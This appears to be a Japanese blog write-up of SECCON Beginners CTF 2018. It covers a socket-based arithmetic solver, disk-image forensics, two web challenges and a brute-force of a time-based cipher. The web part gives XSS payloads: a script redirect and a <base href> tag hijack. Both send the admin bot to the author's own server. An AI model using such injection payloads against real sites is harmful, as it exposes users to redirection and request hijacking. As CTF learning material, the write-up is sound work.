SECCON Beginners CTF 2018のwriteup
SECCON Beginners CTF 2018に挑戦しました。 チームGuardPenguinで参加しました。
せっかくなので、writeupというのを書いてみます。
といっても、情報危機管理コンテストに参加していたのでちゃんと問題解き始めたのは土曜日の夕方以降…
夕方までに他のチームメンバに解かれてしまっていました。
というわけで、自分の解いた問題だけでも載せておきます。
(危機管理コンテストについては後日まとめて書きます。)
てけいさんえくすとりーむず
やるだけでした。
import socket import time msg_list = [] msg = '' host = "tekeisan-ekusutoriim.chall.beginners.seccon.jp" port = 8690 server_address = (host, 6789) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print('Connect Success!!') for _ in range(1000): msg = s.recv(4096).decode() msg_list = msg.split('\n') for m in msg_list: print(m) q = "".join(msg_list[-1].split(' ')[:3]) ans = str(eval(q)) + '\n' print('{}'.format(ans),end="") s.send(ans.encode())
encode問題でつまりましたが、なんとかSolve。
ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}
Find the messages
imgファイルが渡されるのでそれを解析する問題。 まずはfileコマンド。Diskイメージっぽい。マウントできそう。
root@ubuntu:~# file disk.img disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,32,33), end-CHS (0x8,40,32), startsector 2048, 129024 sectors
つづいて、binwalkで中に色々なファイルがみえるので、展開してみた。
root@ubuntu:~# binwalk disk.img DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 1048576 0x100000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9437184 0x900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9698491 0x93FCBB Unix path: /root/img/message2/output 9700352 0x940400 PDF document, version: "1.3" 11535548 0xB004BC Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> 17831936 0x1101800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17848320 0x1105800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17868800 0x110A800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17874944 0x110C000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 26214400 0x1900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 42991616 0x2900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 59768832 0x3900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd root@ubuntu:~# binwalk --dd=".*" disk.img DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 1048576 0x100000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9437184 0x900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9698491 0x93FCBB Unix path: /root/img/message2/output 9700352 0x940400 PDF document, version: "1.3" 11535548 0xB004BC Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> 17831936 0x1101800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17848320 0x1105800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17868800 0x110A800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17874944 0x110C000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 26214400 0x1900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 42991616 0x2900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 59768832 0x3900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
展開したPDFファイル(展開後は 940400
というファイル名)の拡張子をちゃんとPDFに変えると開けた。
中身は disk_image_for3nsics}
FLAGの末尾っぽい。
次に dis.img
のマウント
root@ubuntu:~# parted GNU Parted 3.2 Using /dev/sda Welcome to GNU Parted! Type 'help' to view a list of commands. (parted) u Unit? [compact]? B (parted) print Model: ATA Ubuntu Linux 16. (scsi) Disk /dev/sda: 68719476736B Sector size (logical/physical): 512B/4096B Partition Table: msdos Disk Flags: Number Start End Size Type File system Flags 1 1048576B 67645734911B 67644686336B primary ext4 boot 2 67646782464B 68718428159B 1071645696B extended 5 67646783488B 68718428159B 1071644672B logical linux-swap(v1) (parted) q root@ubuntu:~# mount -t ext4 -o loop,rw,offset=1048576 disk.img ~/img/ root@ubuntu:~# tree img/ img/ ├── lost+found ├── message1 │ └── message_1_of_3.txt ├── message2 │ ├── message_2_of_3.png │ └── output │ └── audit.txt └── message3
message_*_of_3
が2つありますね。これで、さっきのPDFが message_3_of_3
だと予想。他2つからフラグが取れないか調査します。
message_1_of_3.txt
はそのまま読めました。 ctf4b{y0u_t0uched
でした。
message_2_of_3.txt
はpngっぽいのですが、壊れてて開けません。
どうしようか悩んでいたところ、他のメンバが
「バイナリの先頭ヘッダが書き換えられていたので治した」とのコメントが
開けたファイルには _a_part_0f
と書いてありました。
つなげればFLAG ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}
をゲット
Gimme your comment
Webの問題。
新規投稿の本文内でXSSが発火。
XSSを利用して、管理者を別ページへリダイレクトさせることを狙う。
<script>location.href='http://(自分のサーバIP)”; </script>
で管理者が自分のサーバにアクセスしてくるので、apacheのログから管理者の user agent
を確認できる。
FLAG ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}
Gimme your comment REVENGE
先程の問題では存在した、本文内でのJavascript発火が防がれていた。
でも HTMLタグ系は動くっぽい。
最初は <form ~
のボタンを騙して、リダイレクトを狙っていたが上手く動かず…
(上手く動いている人もいる模様…)
他の方法ということで、上手くいったのが <base>
タグを利用する方法。
<base href='http://(自分のサーバIP)' />
とすることで、管理者がページ内のコメント投稿ボタンを押すと
http://(自分のサーバIP)/comment
に飛ばされる。
これで、さきほどと同様にuser agent
を確認できる
FLAG ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}
Message from the future
これはわずかに時間が足りずに提出できなかった問題。
Message_from_the_future
という実行ファイルが渡される。
この実行ファイルで暗号化した文字列も与えられており、これを復号する問題である。
この実行ファイルは、引数に指定した文字列を暗号化しているようだ。
root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future a 4f root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future ab 4f5b
一文字が二文字に置換されている。これは、一定のようだ。
(最初はそう思っていたのだ…)
「じゃあ、総当たりで解けるんじゃん!」 と思って、プログラムを書き、総当たりするが、暗号化された文字列と一致しない…
時間を置いて、いろいろ調べてみるとどうやら時間を使っているらしい。
確かに、Linuxの時間を変えて実行すれば値が変わる。
問題文に「2020年から〜」とある。じゃあ2020年に変えてみよう。月も影響してるっぽいから変えてみよう。
フラグは ctf4b
から始まるため、これを実行ファイルに与えたときに与えられた文字列と一致する年月を探す。
2020年の8月が一致した。
あとは、最初やったとおり総当たり。
以下がプログラム
(※date -s '2020/08/01 12:00:00'で時計が1秒程度しか固定できなかったので、ちょっと無理やりなコードになっています(笑))
import subprocess debug = 0 crypt = b'0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759' src = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"?' print(src) length = int(len(crypt)/2) flag='' tmp_flag ='' commands =['./Message_from_the_future',''] datecommand = ['date','-s','2020/08/08 13:00:00'] for i in range(length): if debug == 1: print('[+] next:{}'.format(flag)) subprocess.call(datecommand) print(subprocess.check_output('date')) print('------------------------------------------') for k in range(len(src)): tmp_flag = flag + src[k] #commands = './Message_from_the_future'+' '+tmp_flag commands[1] = tmp_flag if debug == 1: print('[+] now command:{}'.format(commands)) msg = subprocess.check_output(commands) if debug == 1: print('[+] match? [{}][{}]'.format(msg[(i*2):(i*2)+2],crypt[(i*2):(i*2)+2])) if msg[(i*2):(i*2)+2] == crypt[(i*2):(i*2)+2]: print('[*] match!!') print('------------------------------------------') print('[*] now flag:{}'.format(tmp_flag)) flag = tmp_flag break if src[k] == "?": print('------------------------------------------') print('[-] missed...') flag = tmp_flag break print(flag)
実行結果
root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# python decrypt_solver.py abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"? Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:c Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ct Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ctf Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 〜〜〜(略)〜〜〜〜〜 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_ Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_? Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}
FLAG ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}